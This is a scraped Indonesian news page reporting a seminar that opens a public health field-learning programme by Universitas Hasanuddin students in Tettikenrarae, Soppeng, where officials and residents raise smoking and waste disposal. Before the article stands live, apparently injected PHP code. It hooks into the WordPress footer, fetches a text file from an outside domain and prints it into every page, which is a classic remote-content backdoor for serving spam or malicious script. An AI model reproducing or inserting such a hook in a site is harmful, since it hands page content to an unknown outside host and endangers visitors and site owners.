function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Lewat Seminar Awal PBL I, Mahasiswa FKM Unhas Resmi Mulai Pengabdian di Tettikenrarae - Suluh Nusantara

Home / Uncategorized

Rabu, 16 Juli 2025 - 16:56 WIB

Lewat Seminar Awal PBL I, Mahasiswa FKM Unhas Resmi Mulai Pengabdian di Tettikenrarae

Seminar Awal PBL I FKM Unhas di Tettikenrarae

Seminar Awal PBL I FKM Unhas di Tettikenrarae

Soppeng, 16 Juli 2025 — Mahasiswa Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin resmi mengawali rangkaian Praktik Belajar Lapangan (PBL) I dengan menggelar seminar awal di Kelurahan Tettikenrarae, Kecamatan Marioriwawo, Kabupaten Soppeng. Kegiatan ini menjadi tonggak awal kolaborasi antara mahasiswa dan masyarakat dalam upaya menggali dan mencari solusi atas berbagai persoalan kesehatan di lingkungan setempat.

Kegiatan seminar awal ini bertujuan untuk memperkenalkan program PBL kepada masyarakat, termasuk menjelaskan tujuan, manfaat, serta rangkaian aktivitas yang akan dilakukan oleh mahasiswa. Adapun kegiatan yang direncanakan meliputi identifikasi masalah kesehatan, penentuan prioritas masalah, hingga pemilihan alternatif solusi terhadap permasalahan yang ditemukan di lapangan.

Kegiatan ini secara resmi dibuka oleh Sekretaris Kelurahan Tettikenrarae, Bapak Hamuddin, S.Sos, yang menyampaikan dukungan dan harapannya agar kehadiran mahasiswa dapat memberi manfaat nyata bagi masyarakat.

Seminar turut dihadiri oleh perwakilan RT/RW, kader posyandu, kepala lingkungan, staf kelurahan, serta Kepala Puskesmas Takalala, Bapak Ainuddin, S.Kep., Ns. Dalam sambutannya, beliau menegaskan komitmen puskesmas dalam mendukung kegiatan ini:

Baca Juga  Pangan Terbatas, Gizi Tertinggal | Potret Nyata Kehidupan Warga Parangloe RW 5

“Kami dari Puskesmas siap membantu adik-adik dalam pemetaan data kesehatan. Kami berharap hasil pendataan dapat dikembalikan dalam bentuk rencana intervensi, agar bisa kita tindak lanjuti bersama. Salah satu isu yang perlu perhatian khusus adalah perilaku merokok. Semoga melalui PBL ini, kita bisa mencari solusi bersama,” ujar bapak Ainuddin, S.Kep., Ns.

Menariknya, kegiatan ini juga menghadirkan sesi diskusi terbuka yang melibatkan tokoh-tokoh masyarakat. Mereka menyampaikan berbagai persoalan yang masih dihadapi, terutama terkait kesehatan lingkungan.

Salah satu suara datang dari Ibu Nurhaya, kader posyandu, yang menyoroti masalah pengelolaan sampah:

“Di daerah kami belum ada tempat pembuangan sampah. Kami sadar tidak boleh membuang sembarangan, tapi karena tidak ada wadah, masyarakat terpaksa membuang ke selokan atau sungai. Saya berharap adik-adik bisa bantu beri pemahaman dan mungkin solusi. Kami siap mendukung dan menggerakkan masyarakat bila ada langkah nyata yang bisa kita lakukan bersama,” tuturnya penuh harap.

Baca Juga  Sebagai Upaya Peningkatan Mutu Pendidikan Berkelanjutan, Program Studi Magister Administrasi Rumah Sakit FKM Unhas Menggelar Workshop Pemutakhiran Kurikulum

Kegiatan ini juga sejalan dengan pencapaian Sustainable Development Goals (SDGs), terutama pada tujuan ke-3 (Good Health and Well-being), tujuan ke-6 (Clean Water and Sanitation), tujuan ke-11 (Sustainable Cities and Communities), serta tujuan ke-17 (Partnerships for the Goals). Melalui kegiatan seperti pengumpulan data kesehatan, identifikasi masalah lingkungan, dan diskusi bersama masyarakat, mahasiswa berkontribusi dalam upaya menciptakan lingkungan sehat dan masyarakat yang sejahtera.

Di sisi lain, kegiatan ini juga mendukung Asta Cita Presiden dan Wakil Presiden 2024–2029, yaitu Cita 1 karena mendorong kesadaran masyarakat atas hak kesehatan sebagai bagian dari HAM, Cita 2 dan 6 tercermin dalam upaya membangun dari bawah melalui solusi lokal, Cita 3 dan 4 karena turut memperkuat SDM dan peran pemuda serta perempuan dalam pembangunan, serta Cita 8 karena menumbuhkan kepedulian terhadap lingkungan dan harmoni sosial-budaya di masyarakat.

Melalui kegiatan ini, mahasiswa tidak hanya belajar secara langsung dari realitas lapangan, tetapi juga diharapkan mampu menjadi jembatan perubahan melalui pendekatan partisipatif.

Share :

Baca Juga

Uncategorized

Posko 29 PBL III FKM UNHAS Lakukan Evaluasi Intervensi Rumah Bebas Asap Rokok di Dusun Bontomanai dan Parangbembeng

Uncategorized

Mahasiswa KKN-PK Angkatan 67 Universitas Hasanuddin Wujudkan Lingkungan Sehat melalui Edukasi Pengelolaan Sampah di SD Negeri 31 Morowa

Uncategorized

Mahasiswa Posko 12 PBL II FKM Unhas Gelar Penyuluhan Pentingnya Imunisasi untuk Mencegah Penyakit dan Stunting

Uncategorized

Dies Natalis ke-42 FKM Unhas, Departemen K3 Beri Edukasi Keselamatan untuk Nelayan Demi Wujudkan SDGs

Uncategorized

FKM Unhas Selenggarakan GUMSB: Tingkatkan Spiritualitas Mahasiswa Melalui Tahsin, Kajian Al-Qur’an, dan Buka Puasa Bersama

Uncategorized

Mahasiswa PBL II Posko 15 FKM UNHAS Sukses Gelar Penyuluhan dan Live Cooking MP-ASI “SUJATECI” untuk Edukasi Ibu-Ibu di Desa Jenetallasa, Jeneponto

Uncategorized

Sebagai Upaya Peningkatan Mutu Pendidikan Berkelanjutan, Program Studi Magister Administrasi Rumah Sakit FKM Unhas Menggelar Workshop Pemutakhiran Kurikulum

Uncategorized

Dosen dan Mahasiswa FKM UNHAS Menggelar Kegiatan Pengabdian Masyarakat Alat Bantu Ergonomis untuk Petani Rumput Laut